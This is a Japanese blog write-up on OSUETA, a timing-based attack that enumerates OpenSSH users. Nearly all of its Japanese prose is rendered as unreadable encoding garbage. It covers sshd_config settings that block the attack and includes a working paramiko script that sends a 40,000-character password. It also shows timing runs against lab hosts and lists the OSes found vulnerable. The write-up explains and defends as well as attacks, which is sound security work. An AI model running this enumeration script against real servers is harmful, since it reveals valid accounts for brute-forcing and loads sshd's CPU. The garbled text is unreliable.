sshã«ããã¦ã¼ã¶åææ»æ"osueta"
ãã®ãããé
ãã¬ãã¼ãã§ãããå
æ¥ããããµãåå¼·ä¼ã㨠ããã¿jp ããã¿jpã®#ssmjp 2014/06 ã«åå ããã¦é ãã¾ããã
ãã®ä¸ã§ã@togakushiããã®çºè¡¨ãOpenSSH User EnumerationTime-Based Attack と Python-paramikoããé¢ç½ãã£ãã®ã§ãã®ã¡ã¢ã§ãã
osuetaã¨ã¯ä½ã
OpenSSHã§ã¯ããã¹ã¯ã¼ãèªè¨¼ã®éã«é·ãæåå(ç®å®ã§æ°ä¸æå)ãä¸ããã¨ãåå¨ããã¦ã¼ã¶ã¨åå¨ããªãã¦ã¼ã¶ã®å ´åã§å¿çé度ãå¤ãã£ã¦ãã¾ããç°å¢ã«ãããã®æéå·®ã¯çµæ§éãããã§ãããç§ã®è©¦ããç¯å²ã§ã¯ã
- åå¨ããã¦ã¼ã¶ã®å ´åã¯æ°åç§
- åå¨ããªãã¦ã¼ã¶ã®å ´åã¯æ°ç§
ã§å¿çãè¿ãã¾ãã(ãã®å¿çé度ã¯ç®å®ã§ãããã¡ãããã·ã³ã¹ããã¯ã«ãã£ã¦éãã§ããã)ãããã«ãããè¤æ°ã®ã¦ã¼ã¶ã§sshãã°ã¤ã³è©¦è¡ããããªãããã®å¿çæéãè¨æ¸¬ãããã¨ã§ã¦ã¼ã¶ãã·ã¹ãã ã«åå¨ããã®ãããªãã®ããå¤é¨ããå¤æãããã¨ãã§ãã¾ãã
ãã®ãããªã¦ã¼ã¶åææ»æã®ææ³ããOSUETA(OpenSSH User Enumeration Time-Based Attack)ã¨å¼ã³ã¾ãã
sshã«ãããã«ã¼ããã©ã¼ã¹æ»æããããªãéã«ãäºåã«OSUETAã«ããåå¨ããã¦ã¼ã¶ã調ã¹ã¦ããã¨ãå¹ççã«æ»æã§ãããã¨ãæå¾ ããã¾ãã
ãªãããã®ããã«å¿çé度ã§ã¦ã¼ã¶åæã§ãã¦ãã¾ã件ã¯ãèå¼±æ§ã§ã¯ãªãä»æ§ã¨è§£éããã¦ããããã§ããæåã«ãã®åé¡ãææãããã®ã¯ã以ä¸ã®CVE-2006-5229(OpenSSH portable ã«ãããæå¹ãªã¦ã¼ã¶åãç¹å®ãããèå¼±æ§)ã®ããã§ãã
ãããã8å¹´ã»ã©çµã¡ã¾ãããåé¡ã¯ã¾ã æ®ã£ã¦ãããã¨ããããã¯ããã°ãªã©ã§ã¯ãªããä»æ§ããªã®ã§ãããã
ã¡ãã£ã¨è±ç·ï¼UsePAMã¨PasswordAuthentication
ããã§ããããªãã¡ãã£ã¨è±ç·ãã¦sshdã®è¨å®æ¹æ³ã®ç¢ºèªããã¾ãã
sshdã®è¨å®ã®éãéµèªè¨¼ã®ã¿ã¨ãã¦ãã¹ã¯ã¼ãèªè¨¼ãç¡å¹ã¨ãããå ´åã«ã¯ã以ä¸ã®ããã«/etc/ssh/sshd_configã®PasswordAuthenticationãnoã«ããä¾ãããç´¹ä»ããã¦ãã¾ãã
PasswordAuthentication no
ãããããã«ã¯ã¡ãã£ã¨ããç½ ãããã¾ããå®ã¯ãããã¦PasswordAuthenticationãnoã«ãã¦ãã¦ããPAMãå©ç¨ããããã«è¨å®ãã¦ããã¨ãChallengeResponseAuthenticationã§çµå±PAMã®ãã¹ã¯ã¼ãèªè¨¼ãå©ç¨ããããããæå³ãããéµèªè¨¼ã®ã¿ã¨ãããè¨å®ã«ãªãã¾ããã
ãããããã®ã§ã以ä¸ã®è¡¨ã«ã¾ã¨ãã¾ããã
PasswordAuthentication | ChallengeResponseAuthentication | UsePAM | ãã¹ã¯ã¼ãã§ãã°ã¤ã³ |
---|---|---|---|
yes | no/yes ã©ã¡ãã§ã | no/yes ã©ã¡ãã§ã | ã§ãã |
no | no | no | ã§ããªã |
no | no | yes | ã§ããªã |
no | yes | no | ã§ããªã |
no | yes | yes | ã§ãã |
ãã®ãããUsePAMãyesã«è¨å®ããç¶æ ã§ãã¹ã¯ã¼ãèªè¨¼ãæ½°ãããå ´åã«ã¯ãsshd_configã®ä»¥ä¸3è¡ãæ£ããè¨å®ããå¿ è¦ãããã¾ãã(ãªããChallengeResponseAuthenticationã¯ããã©ã«ããnoã§ãããæ示çã«æ¸ããæ¹ãè¯ãã§ããã)ã
PasswordAuthentication no ChallengeResponseAuthentication no UsePAM yes
ä»åã®OSUETAæ»æã¯ãã¹ã¯ã¼ãèªè¨¼ãçããããä¸è¨ã®ããã«è¨å®ãã¦ããã°å½±é¿ãåãã¾ãã(éµèªè¨¼ã®ã¿ã¨ãã)ãã¨ããããã§ãè±ç·çµããã
â»@matsuuããã®ææã«ãããè¨å®ä¾ã¨èª¬æãè¥å¹²ä¿®æ£ãã¾ãã
paramikoã«ããå®è£
ã§ã¯ããã®Time-Based Attackã試ãããã«å®è£ ãã¦ã¿ã¾ãããã
sshãã°ã¤ã³ã®éãé·å¤§ãªãã¹ã¯ã¼ããæã§æãã¤ããã®ã¯æå¤ã«é¢åã§ãããã®ãããpythonã®paramikoã¨ããã¢ã¸ã¥ã¼ã«ãå©ç¨ããã¨ä¾¿å©ã§ããããã§ã¯ã¯ã©ã¤ã¢ã³ãOSã¨ãã¦ã¯Ubuntuãç¨ãã¾ããã
paramikoã®ã¤ã³ã¹ãã¼ã«
python-paramikoã¢ã¸ã¥ã¼ã«ãã¤ã³ã¹ãã¼ã«ããã ãã§ãã
$ sudo apt-get install python-paramiko
æ»æã¹ã¯ãªãã
paramikoã使ã£ã¦ãé·ããã¹ã¯ã¼ããæãã¤ããç°¡åãªã¹ã¯ãªãããæ¸ãã¦ã¿ã¾ãããã
#!/usr/bin/python import sys import socket import paramiko hostname = sys.argv[1] user = sys.argv[2] s = socket.create_connection((hostname, 22)) t = paramiko.Transport(s) t.connect(username = user) t.auth_password(user,'A' * 40000)
ããã§ãã³ãã³ãã©ã¤ã³å¼æ°ãã対象ã®IPã¢ãã¬ã¹ãã¦ã¼ã¶åãæå®ãã¦å®è¡ãã¾ãã
$ ./osueta.py 192.168.0.1 root 2> /dev/null
ã¹ã¯ãªããã®ä¸èº«ã¯ãè¦ãã°ãªãã¨ãªãåããã§ããããâ¦â¦paramikoãimportãã¦ãauth_passwordã¡ã½ããã§sshãã¹ã¯ã¼ãã«"A"ã4ä¸æåçªã£è¾¼ãã§ãã¾ãã
ãªããä¸è¨ã¹ã¯ãªããã¯èªè¨¼ã«å¤±æãããã常ã«ã¨ã©ã¼ã§çµäºãã¾ãããå
ã«è¿°ã¹ãããã«ããã§ã¯å¿çé度ã測ãããã ããªã®ã§ãããã§åé¡ããã¾ããããã®ããæ¨æºã¨ã©ã¼åºåã/dev/nullã«ãªãã¤ã¬ã¯ããã¦æ¨ã¦ã¦ãã¾ãã
timeã³ãã³ãã§å¿çã測ã
OSUETAã¯å¿çé度ã®æéå·®ã§ã¦ã¼ã¶ã®åå¨ãæ¢ãææ³ãªã®ã§ãã¹ã¯ãªããã®å®è¡æéãè¨ãå¿ è¦ãããã¾ãããã¡ããã¹ãããã¦ãªããçæã«ãã£ã¦ãããã®ã§ãããããã§ã¯ã·ã§ã«ã®timeã³ãã³ãã使ã£ã¦ã¿ã¾ãããã
$ time -p ./osueta.py 192.168.0.1 root 2> /dev/null
ãªããtimeã³ãã³ãã®åºåã¯OSãã·ã§ã«ã«ãã£ã¦çµæ§éããã(timeã³ãã³ãã¯ã·ã§ã«ãã«ãã¤ã³ã¨å¤é¨ã³ãã³ãã®ä¸¡æ¹ããããã)ãåºåãã·ã§ã«ã¹ã¯ãªããã§æ±ããã¨ããã¨ãªããªãåä»ã§ãããã®ãããå¾å¦çããå ´åã«ã¯ä¸è¨ã®ããã«ãPOSIXãã©ã¼ãããã§åºåãã-pãªãã·ã§ã³ãå©ç¨ããã¨ä¾¿å©ã§ãã
timeã³ãã³ãã®-pãªãã·ã§ã³ãå©ç¨ããã¨ãreal/user/sysã®3ã¤ãåºåããã¾ããããã§ã¯å¿çæéãè¨ãããã®ã§ãrealã®å¤ãç®å®ã«ãã¾ãããã
ozuma@ubunt:~/osueta$ time -p ./osueta.py 10.0.2.6 aaaa 2> /dev/null real 2.83 user 0.05 sys 0.01 ozuma@ubunt:~/osueta$ time -p ./osueta.py 10.0.2.6 ozuma 2> /dev/null real 14.67 user 0.12 sys 0.06
ä¸è¨ã®ããã«ãåå¨ããªãã¦ã¼ã¶(aaaa)ã®å¿çé度ã¯2.8ç§ã»ã©ã§ãããåå¨ããã¦ã¼ã¶(ozuma)ã¯15ç§è¿ããããã¾ããä¸ç®çç¶ã§ãã
試ãã¦ã¿ã
ssmjpã§togakushiããã«è³ªåããã¨ãããLinuxã®ã¿ã§è©¦ãããã¨ã®ãã¨ã ã£ãã®ã§ãæ°ã«ãªã£ã¦FreeBSDãSolarisã§ã試ãã¦ã¿ã¾ããã
Solarisã§ä½¿ããã¦ããsshã¯OpenSSHã§ã¯ãªãSun_SSHã¨ããç¬èªã®ãã®ã§ãããå
ã
ãã®Sun_SSHã¯OpenSSHã®æ¹é çã¨è¨ããã¦ããã®ã§ãåããããªæåã示ãã¨æ¨å¯ããã¾ãã
OS | sshd | vulnerable |
---|---|---|
Ubuntu 13 | OpenSSH 6.2 | vulnerable |
CentOS 6.5(64bit) | OpenSSH 5.3 | vulnerable |
FreeBSD 9.1(32bit) | OpenSSH 5.8 | vulnerable |
Solaris 11(x86) | Sun_SSH_2.0 | vulnerable |
ä¸è¨ã試ããçµæãã¨ããããã§ãç§ã®å¨ãã®OSã§ã¯å ¨ã¦ã¦ã¼ã¶åæãã§ãã¾ããã
CPUè² è·
OSUETAãå©ãã¨ãsshdã®CPU使ç¨çãä¸æ°ã«è·³ãä¸ãã£ã¦100%ã«å¼µãä»ãã¾ãã
å®å
¨ã«CPUãã¦ã³ããªå¦çãªã®ã§ãè¦ãç®ã»ã©ä½æã®å¦çé度ã«å½±é¿ã¯ãã¾ãããããã¾ã軽è¦ãã§ããªãã§ããã
追è¨
@k_morihisaããã®ãOSUETA æ»æ vs Kippoãããããã®çºæ³ã¯ç¡ãã£ããã¨é¢ç½ãã§ãã